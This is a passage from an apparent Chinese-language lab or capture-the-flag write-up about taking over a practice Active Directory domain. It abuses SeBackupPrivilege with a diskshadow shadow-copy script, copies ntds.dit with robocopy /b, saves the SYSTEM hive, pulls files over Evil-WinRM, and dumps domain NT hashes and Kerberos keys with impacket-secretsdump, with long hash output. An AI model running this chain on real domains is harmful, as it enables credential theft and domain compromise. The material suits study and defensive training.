Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Backup Operators 别名 S-1-5-32-551 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Management Users 别名 S-1-5-32-580 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
BUILTIN\Pre-Windows 2000 Compatible Access 别名 S-1-5-32-554 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NETWORK 已知组 S-1-5-2 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\High Mandatory Level 标签 S-1-16-12288
特权信息
----------------------
特权名 描述 状态
============================= ================ ======
SeMachineAccountPrivilege 将工作站添加到域 已启用
SeBackupPrivilege 备份文件和目录 已启用
SeRestorePrivilege 还原文件和目录 已启用
SeShutdownPrivilege 关闭系统 已启用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用
用户声明信息
-----------------------
用户声明未知。
已在此设备上禁用对动态访问控制的 Kerberos 支持。有备份以及还原文件或目录的权限，可以卷影拷贝然后读sam(SAM是安全账户管理器数据库，包含了本地用户及用户组,包括它们的口令及其他属性，位于注册表的HKLM\SAM下面)
第四关提示了我们：尝试接管备份管理操作员帐户，并通过转储 NTDS 获得域管理员权限，最终控制整个域环境。
我们现在已经接管了Backup Oprators组tianjing这个用户了，现在就是要转储NTDS。
卷影拷贝技术解释
**NTDS：**ntds.dit文件是一个数据库，用于存储Active Directory数据，包括有关用户对象，组和组成员身份的信息。它包括域中所有用户的密码哈希。AD活动目录始终访问这个文件，所以文件被锁定，无法读取)。利用卷影拷贝服务(volume Shadow Copy Server，VSS)实现ntds.dit的拷贝
Windows 的卷影拷贝服务（VSS）会定期或手动为磁盘创建“快照”。这个快照是某个时间点的完整磁盘状态，里面的文件是“冻结”的，不受实时锁定影响。即使原文件正在被系统使用，快照中的副本也可以被任意读取。
所以，只要我们能创建一个当前 C 盘的快照，并把它挂载成一个虚拟盘符，就能像读普通文件一样，从快照里把 ntds.dit 复制出来。
一般域环境内最重要的三个文件如下：
ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
system文件位置:C:\\Windows\\System32\\config\\SYSTEM
sam文件位置:C:\\Windows\\System32\\config\\SAM1、创建脚本 raj.dsh（在 Kali 上完成）
vim raj.dsh写入文件raj.dsh内容
# 设置脚本上下文为持久模式
set context persistent nowriters
# 为C盘添加一个卷影拷贝，并赋予别名 "raj"
add volume c: alias raj
# 创建该卷影拷贝
create
# 暴露（挂载）该卷影拷贝为 Z: 盘
expose %raj% z:| 命令 | 含义 | 为什么这样做 |
|---|---|---|
set context persistent nowriters | 设置上下文为“持久模式”，且不通知任何编写器。 | 保证快照在创建后不会被自动删除，并且不会因为 VSS 编写器（如 SQL、Exchange）的状态而失败，适合纯文件备份场景。 |
add volume c: alias raj | 添加 C 盘，并给它起个别名叫 raj。 | 为了后续方便引用，避免每次输入冗长的卷 ID。 |
create | 实际创建卷影拷贝。 | 这一步真正生成快照。 |
expose %raj% z: | 将刚创建的快照挂载为 Z 盘。 | 挂载后才能通过盘符访问快照里的文件。如果没有这步，快照只是一个内存对象，无法读取。 |
2. 转换脚本格式（unix2dos raj.dsh）
Windows 的 diskshadow 只认 CRLF（\r\n） 作为行结束符。Kali 默认是 LF（\n），如果不转换，脚本在 Windows 上执行时会因为格式错误而失败。这一步是为了避免脚本执行出错。
└─$ unix2dos raj.dsh
unix2dos: 正在转换文件 raj.dsh 为DOS格式...然后切换到C盘，然后创一个test文件夹切换过去(不然后面会没权限)，把本地的raj.dsh上传上去（这个文件要放在运行kali的那个目录下），接着用diskshadow执行raj.dsh中的命令
*Evil-WinRM* PS C:\Users\tianjing\Documents> mkdir C:\test
目录: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/27/2026 10:27 PM test
*Evil-WinRM* PS C:\Users\tianjing\Documents> cd C:\test
*Evil-WinRM* PS C:\test> upload raj.dsh
Info: Uploading /home/kali/tools/bachang/Privilege/raj.dsh to C:\test\raj.dsh
Data: 112 bytes of 112 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\test> diskshadow /s raj.dsh #/s 参数指定脚本文件。执行后，diskshadow 会逐行运行脚本，最终在目标机器上创建并挂载一个 Z 盘。这个 Z 盘的内容就是 C 盘在快照时刻的完整镜像
Microsoft DiskShadow 版本 1.0
版权所有 (C) 2013 Microsoft Corporation
在计算机上: XR-DC，2026/6/27 22:27:35
-> set context persistent nowriters
-> add volume c: alias raj
-> create
已将卷影 ID {ce99b7fd-dfed-4d2a-8548-d0357cad6933} 的别名 raj 设置为环境变量。
已将卷影集 ID {18ebf635-e9c1-4f5e-8378-3227c29d8cbb} 的别名 VSS_SHADOW_SET 设置为环境变量。
正在查询卷影副本集 ID 为 {18ebf635-e9c1-4f5e-8378-3227c29d8cbb} 的所有卷影副本
* 卷影副本 ID = {ce99b7fd-dfed-4d2a-8548-d0357cad6933} %raj%
- 卷影副本集: {18ebf635-e9c1-4f5e-8378-3227c29d8cbb} %VSS_SHADOW_SET%
- 卷影副本原始数 = 1
- 原始卷名称: \\?\Volume{4790f32e-0000-0000-0000-100000000000}\ [C:\]
- 创建时间: 2026/6/27 22:27:37
- 卷影副本设备名称: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- 原始计算机: XR-DC.xiaorang.lab
- 服务计算机: XR-DC.xiaorang.lab
- 未暴露
- 提供程序 ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- 属性: No_Auto_Release Persistent No_Writers Differential
已列出的卷影副本数: 1
-> expose %raj% z:
-> %raj% = {ce99b7fd-dfed-4d2a-8548-d0357cad6933}
已成功将卷影副本暴露为 z:\。
->4. 使用 robocopy 复制 ntds.dit
再用RoboCopy工具将文件从z盘复制到临时目录test
*Evil-WinRM* PS C:\test> RoboCopy /b z:\windows\ntds . ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Windows 的可靠文件复制
-------------------------------------------------------------------------------
开始时间: 2026年6月27日 22:28:32
源: z:\windows\ntds\
目标: C:\test\
文件: ntds.dit
选项: /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 z:\windows\ntds\
新文件 16.0 m ntds.dit
------------------------------------------------------------------------------
总数 复制 跳过 不匹配 失败 其他
目录: 1 0 1 0 0 0
文件: 1 1 0 0 0 0
字节: 16.00 m 16.00 m 0 0 0 0
时间: 0:00:00 0:00:00 0:00:00 0:00:00
速度: 107,546,256 字节/秒。
速度: 6,153.846 MB/分钟。
已结束: 2026年6月27日 22:28:32| 参数 | 含义 | 为什么这样做 |
|---|---|---|
/b | 备份模式（Backup mode）。 | 这是整个命令的灵魂。/b 允许 robocopy 以 SeBackupPrivilege 特权运行，从而无视文件系统的 ACL，即使当前用户没有读取权限，也能复制文件。而我们已经通过 tianjing 用户拥有了 SeBackupPrivilege，所以 /b 能生效。 |
Z:\Windows\NTDS | 源目录（快照中的 NTDS 文件夹）。 | 因为 Z 盘是快照，里面 Windows\NTDS\ntds.dit 不存在锁定状态，所以可以复制。 |
. | 当前目录。 | 将 ntds.dit 复制到 当前目录，方便后续下载。 |
ntds.dit | 指定文件名。 | 只复制这一个文件，而不是整个文件夹，节省时间。 |
5. 导出 SYSTEM 注册表配置单元
导出system，下载system和ntds.dit（有yi点慢），结果在kali的打开目录下
之所以能执行 reg save HKLM\SYSTEM system 命令，是因为 你当前用户 tianjing 拥有 SeBackupPrivilege 特权。
*Evil-WinRM* PS C:\test> reg save HKLM\SYSTEM system
操作成功完成。
*Evil-WinRM* PS C:\test> download C:/test/system
Info: Downloading C:/test/system to system
Info: Download successful!
*Evil-WinRM* PS C:\test> download C:/test/ntds.dit
Info: Downloading C:/test/ntds.dit to ntds.dit
Info: Download successful!ntds.dit 文件中的哈希值是用 SYSKEY（系统启动密钥）加密的。这个密钥存储在注册表 HKLM\SYSTEM 中。
为了在本地离线解密 ntds.dit，我们必须同时拥有 SYSTEM 配置单元和 ntds.dit 文件。
reg save 可以即使 SYSTEM 被系统锁定也能导出，因为它直接操作注册表文件。
6.提取hash
└─$ impacket-secretsdump -ntds ntds.dit -system system local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x4d1852164a0b068f32110659820cd4bc
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 8cca939cb8a94a304d33209b41a99517
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:70c39b547b7d8adec35ad7c09fb1d277:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
XR-DC$:1000:aad3b435b51404eeaad3b435b51404ee:4ba31111c9d5a1b7a7e72617f1389758:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4b2afb57dd0833ee9ed732ea89c263a3:::
XR-0923$:1103:aad3b435b51404eeaad3b435b51404ee:acd39ecec89593a07192ce511c8651f1:::
tianjing:1104:aad3b435b51404eeaad3b435b51404ee:c8252441ad9f475d629865fe86b3aecd:::
liyuying:1106:aad3b435b51404eeaad3b435b51404ee:4e77dc688f87c4ebbbe1da95931d25d1:::
wangyuying:1107:aad3b435b51404eeaad3b435b51404ee:f09d261da7841e97bc25e5a95833ee4a:::
yangguiying:1108:aad3b435b51404eeaad3b435b51404ee:93242254318fe496c9d03908c0ab7440:::
zhoumin:1109:aad3b435b51404eeaad3b435b51404ee:fad94b7c69cdbc4376fb17dc78cc858e:::
chenyun:1110:aad3b435b51404eeaad3b435b51404ee:8e41a10b056df5d0c53e8140d4790b21:::
chenmei:1111:aad3b435b51404eeaad3b435b51404ee:d53b17e5763bb9f028211044a32a9267:::
huangmin:1112:aad3b435b51404eeaad3b435b51404ee:9c75fa751d66813d7ed4caa6d2d9af38:::
jiangcheng:1113:aad3b435b51404eeaad3b435b51404ee:9c75fa751d66813d7ed4caa6d2d9af38:::
huanggang:1114:aad3b435b51404eeaad3b435b51404ee:9c75fa751d66813d7ed4caa6d2d9af38:::
machao:1115:aad3b435b51404eeaad3b435b51404ee:9a504875c8fc24ea22c3a27152ed3273:::
liguihua:1119:aad3b435b51404eeaad3b435b51404ee:88c540dbe639451a04a5183ea0e0af0d:::
wangfang:1120:aad3b435b51404eeaad3b435b51404ee:0bf4fdbc625a4435868eb71dbc8307b3:::
liguizhi:1122:aad3b435b51404eeaad3b435b51404ee:51c00743fa6f148926694c830112ae33:::
wangyulan:1123:aad3b435b51404eeaad3b435b51404ee:9b57eb71d89ba4003558cc451c3393ef:::
huachunmei:1126:aad3b435b51404eeaad3b435b51404ee:75fa801c8a5bedcb2b81c4f792ce1024:::
jiadongmei:1127:aad3b435b51404eeaad3b435b51404ee:6ac97d0534c99743bfa52ed5584e916b:::
liguilan:1128:aad3b435b51404eeaad3b435b51404ee:c337e57ca73c99e1eb1da443425da58b:::
yuxuecheng:1129:aad3b435b51404eeaad3b435b51404ee:cfc4835a206d618f1d7ea2bc22cc49ac:::
lixiuying:1130:aad3b435b51404eeaad3b435b51404ee:2e73b44dce942ffe682bb3b4052caa95:::
liguizhen:1134:aad3b435b51404eeaad3b435b51404ee:63d1d7be0b04f6b5b5336434a3d5a518:::
chenjianhua:1135:aad3b435b51404eeaad3b435b51404ee:5e121c3d4d259f35917c9c666c7c3650:::
yangjuan:1138:aad3b435b51404eeaad3b435b51404ee:68868390d1183fb671a371e0929b8a54:::
lidan:1139:aad3b435b51404eeaad3b435b51404ee:4dea8e760936a0d96f906edc4a470add:::
liyang:1140:aad3b435b51404eeaad3b435b51404ee:428aa70becfc16307febab419ecb313c:::
zhaojun:1141:aad3b435b51404eeaad3b435b51404ee:2f8101fa58b9337891ec96ce56b8b2f7:::
chenxin:1145:aad3b435b51404eeaad3b435b51404ee:e0eca1319b608886bc2102ba569a13f6:::
chenfei:1146:aad3b435b51404eeaad3b435b51404ee:dc1d2b7d3939d0002ba8292d1e1b20a4:::
chenhao:1148:aad3b435b51404eeaad3b435b51404ee:1145c8ce1774e134341b1f243eaca68b:::
lifei:1149:aad3b435b51404eeaad3b435b51404ee:3e08a9626cd85505b46166ae57e38ca1:::
zhangfang:1150:aad3b435b51404eeaad3b435b51404ee:010505bc625ab34f2b4e497861c51f13:::
zhangkun:1151:aad3b435b51404eeaad3b435b51404ee:814c056b97ff9cf9bbe4922c4ca32881:::
yanglei:1155:aad3b435b51404eeaad3b435b51404ee:055fd770c62e1b9582c1aeebcb04fc71:::
chenxia:1157:aad3b435b51404eeaad3b435b51404ee:c52d91b91f859c850087fa74e14a9069:::
zhangkai:1160:aad3b435b51404eeaad3b435b51404ee:40fee6e974e30258042a6b845acf41f4:::
liuyu:1161:aad3b435b51404eeaad3b435b51404ee:bafadbab49757fda93da68c7f9f787a7:::
chenming:1163:aad3b435b51404eeaad3b435b51404ee:75f769ecda05fbf6a6848f8398e9b120:::
mali:1164:aad3b435b51404eeaad3b435b51404ee:8a5e14c2a4876105e7c1370d36cfc7a1:::
chengang:1169:aad3b435b51404eeaad3b435b51404ee:8bd93219f6d7921e241415c508473482:::
huangwei:1171:aad3b435b51404eeaad3b435b51404ee:5b681f8a5961a08ad983c05ea976a65e:::
lixia:1174:aad3b435b51404eeaad3b435b51404ee:5fc366da322ac7c3098ab20bb56ffe11:::
xujing:1175:aad3b435b51404eeaad3b435b51404ee:3df64977422013367c25f57cd9d3b2c3:::
zhangjuan:1178:aad3b435b51404eeaad3b435b51404ee:dba8c7706c9c2fea332afe2b8e8a1bba:::
chenhui:1179:aad3b435b51404eeaad3b435b51404ee:78f95a95a9304cf06f1b0a733ac8eee7:::
liying:1181:aad3b435b51404eeaad3b435b51404ee:d3e572a3aa71a4cefe7a8ad65dc4e1ec:::
zhaoli:1182:aad3b435b51404eeaad3b435b51404ee:561b71d50c2614d91e6031a1e44ba3fe:::
zhoujing:1184:aad3b435b51404eeaad3b435b51404ee:1fefe6706ec68bb805361ce5a9944fbc:::
zhaoyong:1189:aad3b435b51404eeaad3b435b51404ee:27bd4f7d5403828b5ed310729119693a:::
wangyu:1192:aad3b435b51404eeaad3b435b51404ee:f1476afff3d4e3e4c97a0e18a88a651f:::
yangli:1193:aad3b435b51404eeaad3b435b51404ee:5d01864d2dc0eca800b7faf6aac91b38:::
yangliu:1196:aad3b435b51404eeaad3b435b51404ee:101fdcd11cd305f78495a8bcd31b02d9:::
wangying:1197:aad3b435b51404eeaad3b435b51404ee:0a8fbc5b333c1a52b4b8089fee9c274a:::
chenjie:1198:aad3b435b51404eeaad3b435b51404ee:fe343db5062c94af05a2c5b2bcfbf8ad:::
yangyong:1199:aad3b435b51404eeaad3b435b51404ee:e03de581dc8e75885672faa7e9f4d498:::
lixin:1201:aad3b435b51404eeaad3b435b51404ee:dd559fcf4523947742dbdc72f9e52e6b:::
zhanghui:1205:aad3b435b51404eeaad3b435b51404ee:ea31fe5bfe9fcbb74613ce13ac81225f:::
chenlin:1208:aad3b435b51404eeaad3b435b51404ee:b8cd9155c7c4e3f2fe535272566420cf:::
chenjuan:1209:aad3b435b51404eeaad3b435b51404ee:38f7a5a37bca7d68b17ad2eb922b44f3:::
chenchen:1215:aad3b435b51404eeaad3b435b51404ee:9e7295616a8faf501b5526f0eaeb5b0c:::
wangbing:1216:aad3b435b51404eeaad3b435b51404ee:d12641f47f63cb00cb5686ab0baa7113:::
chenling:1219:aad3b435b51404eeaad3b435b51404ee:f322cbf95eba279337538777e454abf1:::
yangmei:1220:aad3b435b51404eeaad3b435b51404ee:b50dd4e0fe64b40d91c33a97d4c66784:::
tiangui:1226:aad3b435b51404eeaad3b435b51404ee:8b30503a779d10de17744bb56ee15b8c:::
tianwen:1227:aad3b435b51404eeaad3b435b51404ee:667454046d29e985b63a7931f4b9219d:::
tianshengli:1228:aad3b435b51404eeaad3b435b51404ee:df0febe8871e463155401c3d896244fc:::
tianshi:1229:aad3b435b51404eeaad3b435b51404ee:63d1d7be0b04f6b5b5336434a3d5a518:::
tianlong:1230:aad3b435b51404eeaad3b435b51404ee:5e121c3d4d259f35917c9c666c7c3650:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:afdaee99d584caec50bfce43fb4f524e80017d7d04fdd435849a9e8a037ba399
Administrator:aes128-cts-hmac-sha1-96:17cf30f985414dfc95092429bf74fac7
Administrator:des-cbc-md5:79a1466708cd6838
XR-DC$:aes256-cts-hmac-sha1-96:bcd62ede38f33828202620e2aee449472262423b5211cdf4056b56dfc0fc18bc
XR-DC$:aes128-cts-hmac-sha1-96:49ce1b15228b6a0dade56b232e6bd163
XR-DC$:des-cbc-md5:208c5b1ac88c2902
krbtgt:aes256-cts-hmac-sha1-96:b2f2e630f3c12c2cc2779624a11a1406c792c8f31d145246e657b230ff9f0f09
krbtgt:aes128-cts-hmac-sha1-96:5f2c868accc1f40c80fdf7094494faf4
krbtgt:des-cbc-md5:673b2937e3cd7cab
XR-0923$:aes256-cts-hmac-sha1-96:2f7a01166930bd43271c994e89be87d3ab309e67d3d2cc290a6642abb96bd310
XR-0923$:aes128-cts-hmac-sha1-96:42e4200ec08c41efe47dee5ca1337799
XR-0923$:des-cbc-md5:267a91f4d6b3ae25
tianjing:aes256-cts-hmac-sha1-96:0d2a06ad0f07f0571bb99c1fae170bde9dbb57b8c364a0f5c75370dde8b449af
tianjing:aes128-cts-hmac-sha1-96:e936ddfdaab20e8445c2e182e14cd422
tianjing:des-cbc-md5:15bf5d5de52a6be3
liyuying:aes256-cts-hmac-sha1-96:488901e33ba91b2b58d927797a5ec7f8bede179e6f3b7fba62aac4b9936427c9
liyuying:aes128-cts-hmac-sha1-96:5cbb47c3d5766dc4d33c613ab6f9a45f
liyuying:des-cbc-md5:027504a7a820ba07
wangyuying:aes256-cts-hmac-sha1-96:ed3bd47fce79ad0170f48646647764054b670720e4ad31328e5f50dc191aef2d
wangyuying:aes128-cts-hmac-sha1-96:0d66d8bfb7de1aaad057270b923edf46
wangyuying:des-cbc-md5:79918564ab61fe43
yangguiying:aes256-cts-hmac-sha1-96:8b06648fe9d6e47d8df4c4a3407b9bca7d7ae8b7a355d35788e483e24b5d5329
yangguiying:aes128-cts-hmac-sha1-96:65e2c07527272134938a1754e6a47740
yangguiying:des-cbc-md5:d532798061dad50d
zhoumin:aes256-cts-hmac-sha1-96:46fab8083c4f48489b21b5da3e2fc922ef1f66cfbbc78829b2fc477e4723783d
zhoumin:aes128-cts-hmac-sha1-96:1bff68920b27915b3f1e917ad981f854
zhoumin:des-cbc-md5:9dd67c40eff13de3
chenyun:aes256-cts-hmac-sha1-96:a56040ca8fb3770f172e4d17598afe76c45e5c400bfe8be77aba7b47655fd441
chenyun:aes128-cts-hmac-sha1-96:b74c17427ac4f3a8825eb0e1c861f59c
chenyun:des-cbc-md5:706e205864a1fe64
chenmei:aes256-cts-hmac-sha1-96:4cd6ffc87bbfccc5310e03680e5bafabca1cb658dececb87642e13dcbd1a7bb1
chenmei:aes128-cts-hmac-sha1-96:6afadb7a5f030a0181e340d94cb2a76a
chenmei:des-cbc-md5:70fbabc40b7a29ef
huangmin:aes256-cts-hmac-sha1-96:3fbff1b76fbe10a02085ff0a7bbd3e7c0e153078a8afe1895b0e10d342f33a28
huangmin:aes128-cts-hmac-sha1-96:2cfb104d7aaa245c6730fa57f38899f0
huangmin:des-cbc-md5:970df24ce354fe01
jiangcheng:aes256-cts-hmac-sha1-96:b10c07048384977f2470005b67dfa9d5e7a17de0fb04d53b49a3e0fb413d0215
jiangcheng:aes128-cts-hmac-sha1-96:663b9662442e3c99eb4c71f50c83bbf1
jiangcheng:des-cbc-md5:730e89e3c2835d2a
huanggang:aes256-cts-hmac-sha1-96:9976b9d8467cadf35251c9c95d860455ebf9297ba518e7fc6794861e9d28d99c
huanggang:aes128-cts-hmac-sha1-96:91039de3cbdeee790ecaac5067d47566
huanggang:des-cbc-md5:86a17adf6bad9b8f
machao:aes256-cts-hmac-sha1-96:850f91e3ffd9d79d803a3a23e28a5308e471d954a6018bffbaf7a44c680e11d0
machao:aes128-cts-hmac-sha1-96:edf47b1011a703e69df2e35b6a2201f7
machao:des-cbc-md5:b50dd0ae4fb52619
liguihua:aes256-cts-hmac-sha1-96:bcb1317ad7701a68c8d5f1f5d8b66522b4aa2b7406cb6e401d8d97a8d75979d8
liguihua:aes128-cts-hmac-sha1-96:2c6b6bf4e88d5b3872dbcb390372bc3d
liguihua:des-cbc-md5:68dc9e8591298c2c
wangfang:aes256-cts-hmac-sha1-96:aa8e2a28614728b293c3a3dc124942228b5f75c4ff006f57bfe2edbcd9b6c409
wangfang:aes128-cts-hmac-sha1-96:24e9e3c145dea8399bd42466105c1298
wangfang:des-cbc-md5:4fd32904c2cdfbad
liguizhi:aes256-cts-hmac-sha1-96:9e8e1024cb004343e5988ed4b5ebf9530bd2373ec02569f25992a205c9209a11
liguizhi:aes128-cts-hmac-sha1-96:354350b841cb28956f4d004645c2ee83
liguizhi:des-cbc-md5:daa22a027c3e205e
wangyulan:aes256-cts-hmac-sha1-96:0d4a8d53bea31df593d42e4687e79635adf1260d2a0d71b05bb2e04466d01e6d
wangyulan:aes128-cts-hmac-sha1-96:bc222459b9e2ab8b43c18dbfff6973a7
wangyulan:des-cbc-md5:898a495258f264bf
huachunmei:aes256-cts-hmac-sha1-96:1211b996ab19e3e795177d07d01a8c7f19e8018ddd80aafaa468f232e5a698e3
huachunmei:aes128-cts-hmac-sha1-96:125cccce2e74f5d74ec510b6a350e3f1
huachunmei:des-cbc-md5:86e92a15807a4c79
jiadongmei:aes256-cts-hmac-sha1-96:ffff95cfb208f879f9b2068a0c8b08cdd60639e6b9f703ceec8a5b0c2ccc4334
jiadongmei:aes128-cts-hmac-sha1-96:d8d36b6ab86f147c82c56d7d65663617
jiadongmei:des-cbc-md5:fbfd57619bb9fdf7
liguilan:aes256-cts-hmac-sha1-96:7d32d8c89be54ab71d4e7639e978ef785d45d4fa4fb24afad21692198610ea05
liguilan:aes128-cts-hmac-sha1-96:fa8ac7ca3813c7731b1f2fc9253a0cb9
liguilan:des-cbc-md5:89b03efb86b9df49
yuxuecheng:aes256-cts-hmac-sha1-96:433edf2a97d3157630073e2b08a65c27e826df63440f4d0721857f7d3c74969a
yuxuecheng:aes128-cts-hmac-sha1-96:5e69c8750664229d1ed4a2c309f1f445
yuxuecheng:des-cbc-md5:d57502da7cfdc715
lixiuying:aes256-cts-hmac-sha1-96:8dc409b74c936f88ff977d5c7c17b5923e7c9d2129181b332a372fbf851ae6b6
lixiuying:aes128-cts-hmac-sha1-96:7731bc096f07aa3fc59fb79334f84a3c
lixiuying:des-cbc-md5:f4efd652bffd38c2
liguizhen:aes256-cts-hmac-sha1-96:69e5444825707d32c47086a0960addf5fe852c615aa1d33068fe767e2d586db7
liguizhen:aes128-cts-hmac-sha1-96:acbbd817ea86423eb2f057a099539a01
liguizhen:des-cbc-md5:2a67ceae91ae62ae
chenjianhua:aes256-cts-hmac-sha1-96:f0924fc23af017ce6564b3cc1cd9fabd05fe5b5d8be129be5df65133943f0470
chenjianhua:aes128-cts-hmac-sha1-96:d1c0724b5498230ed579d769676cde56
chenjianhua:des-cbc-md5:b3d68ad93e6151fe
yangjuan:aes256-cts-hmac-sha1-96:43d37ef5df5d3330b632b12e2829fc447ab0516ea220b6a9856bed989457086f
yangjuan:aes128-cts-hmac-sha1-96:2005c468b32775081cc37652cb96ecda
yangjuan:des-cbc-md5:940e98e3510d0d1f
lidan:aes256-cts-hmac-sha1-96:5573faaba91091eca180b3bd85af973dea9376b8c61ac3f95927e4a9d42bb64b
lidan:aes128-cts-hmac-sha1-96:6ca7b107e36c69573a2145ac18a32aab
lidan:des-cbc-md5:c1c740bca81a01c4
liyang:aes256-cts-hmac-sha1-96:368c633291007799691c311cd51f075b23daf7404fdaf846c4ef578fd65af2ff
liyang:aes128-cts-hmac-sha1-96:6d254393e532337391ed5bf0f28bd8b0
liyang:des-cbc-md5:baa13b32e3ae0e4f
zhaojun:aes256-cts-hmac-sha1-96:0d64e2fd344b63bbfddf3bd7a59090ccf5164e15178b2016b55a1e750d312524
zhaojun:aes128-cts-hmac-sha1-96:545fdb088d59961732860089791831ab
zhaojun:des-cbc-md5:2cad52ab57b69185
chenxin:aes256-cts-hmac-sha1-96:632e0ad6d26bd68e155f5f41c4221706f54f8e05998932626bccb795fdc7c51d
chenxin:aes128-cts-hmac-sha1-96:27bb7eabfc84cfe3ef31c7a9ac82d5f2
chenxin:des-cbc-md5:f12f6b077c9e5286
chenfei:aes256-cts-hmac-sha1-96:8653f8a0c80d9b00fc7de8954bf7412354cc68ec1646359edca95d25ad0a88d1
chenfei:aes128-cts-hmac-sha1-96:d50fc4b371bb48d6c514c99a9fe22a12
chenfei:des-cbc-md5:45ce29800e0bec38
chenhao:aes256-cts-hmac-sha1-96:244b7e6dcf52043cbcef620af6e2de7473626b28ec661ec76afd385ac18de271
chenhao:aes128-cts-hmac-sha1-96:adc33c162098184ac781947c4cc52424
chenhao:des-cbc-md5:8945e9feef9bb95e
lifei:aes256-cts-hmac-sha1-96:ae7363ebdeba1e7304f0f8cbee97fc11b65989d90669a21ad9534ffa99307609
lifei:aes128-cts-hmac-sha1-96:3f8d5b322c3ab7bc868bb0bdcc1941d5
lifei:des-cbc-md5:9843d568238f2ca4
zhangfang:aes256-cts-hmac-sha1-96:13149438681fe298dbdc3195933b0d12b520fdc19beed12ccdd759b2876ec473
zhangfang:aes128-cts-hmac-sha1-96:87c2f2db0c8f52c38eb716322233aaa3
zhangfang:des-cbc-md5:31e39e23df375efd
zhangkun:aes256-cts-hmac-sha1-96:6a92de23b62a7a981372f25862cb15f4754c30bf5621f220c9ea0b614ef5f6e3
zhangkun:aes128-cts-hmac-sha1-96:a6de080a2379a63d32a83b68664a9d1e
zhangkun:des-cbc-md5:2f2964df6ea8a4fb
yanglei:aes256-cts-hmac-sha1-96:b2e73d98dd93709436341867ae798817666464bd845c78aaa8ae1a8ec9dd384c
yanglei:aes128-cts-hmac-sha1-96:4e36c64295765d639cf726c4d288a1c3
yanglei:des-cbc-md5:c8642316cdf2c4f7
chenxia:aes256-cts-hmac-sha1-96:c808029491533d77785b1f8524e793a258a360bb32d18fc2fb092bf2b6e5e4ae
chenxia:aes128-cts-hmac-sha1-96:58cb554bd6965ce5ede4f162b71f3114
chenxia:des-cbc-md5:7057133d688938e6
zhangkai:aes256-cts-hmac-sha1-96:266d5fac40d3d0eb98756a8f1d3989f73deb7b828814ee444940dd035ef8b469
zhangkai:aes128-cts-hmac-sha1-96:994ed7ddbc91fb11daa4871c050e7479
zhangkai:des-cbc-md5:9d512919518a1c76
liuyu:aes256-cts-hmac-sha1-96:c8f33c45558655ac14720066270be7c7c6b39f7e51e23c920e3dc002a560fb36
liuyu:aes128-cts-hmac-sha1-96:d3ed22d7212aae06ecd66d3329d7436b
liuyu:des-cbc-md5:7002bac25b79494a
chenming:aes256-cts-hmac-sha1-96:a105587d48671d737f2b157387801fa5cdc8ae6f71d7a001d2a5c8aabc527a5e
chenming:aes128-cts-hmac-sha1-96:485a8993fd4158e5cbe15f7c9d0b5ba0
chenming:des-cbc-md5:d3793db004efe589
mali:aes256-cts-hmac-sha1-96:b9aa8e0a378585ca77bdcc237fdec9772f8926ade0f2484ec57c5a3ad77be4ad
mali:aes128-cts-hmac-sha1-96:96c881437be8422c98876f77bcd17f8f
mali:des-cbc-md5:6783da3145a80870
chengang:aes256-cts-hmac-sha1-96:189cef2f3df1b20e67a47bbc52e47fe5a3fa135b7a179921db75a23add12491e
chengang:aes128-cts-hmac-sha1-96:8989abbab9dd4d6c592f44843d144ed1
chengang:des-cbc-md5:8c7a86dc70d93e83
huangwei:aes256-cts-hmac-sha1-96:47409c2356a5b4b35f47a2c094129806687dbf5d371fecaabd306d0d6a6a7a7c
huangwei:aes128-cts-hmac-sha1-96:18a6b14982eaf1632550dca3553e786c
huangwei:des-cbc-md5:7a8abf32ae678652
lixia:aes256-cts-hmac-sha1-96:71990bae8e42d7afb988fd8c085192b62117b929bc632514b26067c81a408071
lixia:aes128-cts-hmac-sha1-96:67e54c4fd23d21f466c2d221f059bfcb
lixia:des-cbc-md5:263449465edc946e
xujing:aes256-cts-hmac-sha1-96:02e1509264194ced75b98f79967461e7780df97195f60474f4200c473588ed57
xujing:aes128-cts-hmac-sha1-96:30e97e50335033cafa9778e493567b24
xujing:des-cbc-md5:6dd56780f4579dc7
zhangjuan:aes256-cts-hmac-sha1-96:a469ff2fd19f472f1dfe1e301c44e44c8ceae2a9df065b29ee929f85dbaa8c5d
zhangjuan:aes128-cts-hmac-sha1-96:6c0bad8269b7460b9255f1ef26f9cb64
zhangjuan:des-cbc-md5:e962498fb90e757a
chenhui:aes256-cts-hmac-sha1-96:8456a5c089d601092a3eb142d1a8b6fa391e6fa707985da0f5a6d9512aa2f0a5
chenhui:aes128-cts-hmac-sha1-96:85ae6b41314586a7aef3dbcd443400c0
chenhui:des-cbc-md5:940e839464d06d58
liying:aes256-cts-hmac-sha1-96:4269ed8cd2c11584b0b67188a36b97fcc4a2e39bc4ba1f0ae3ab45329da2cd6a
liying:aes128-cts-hmac-sha1-96:778adcb89c1b1b82409623deb5af003b
liying:des-cbc-md5:a743a743c11f10ba
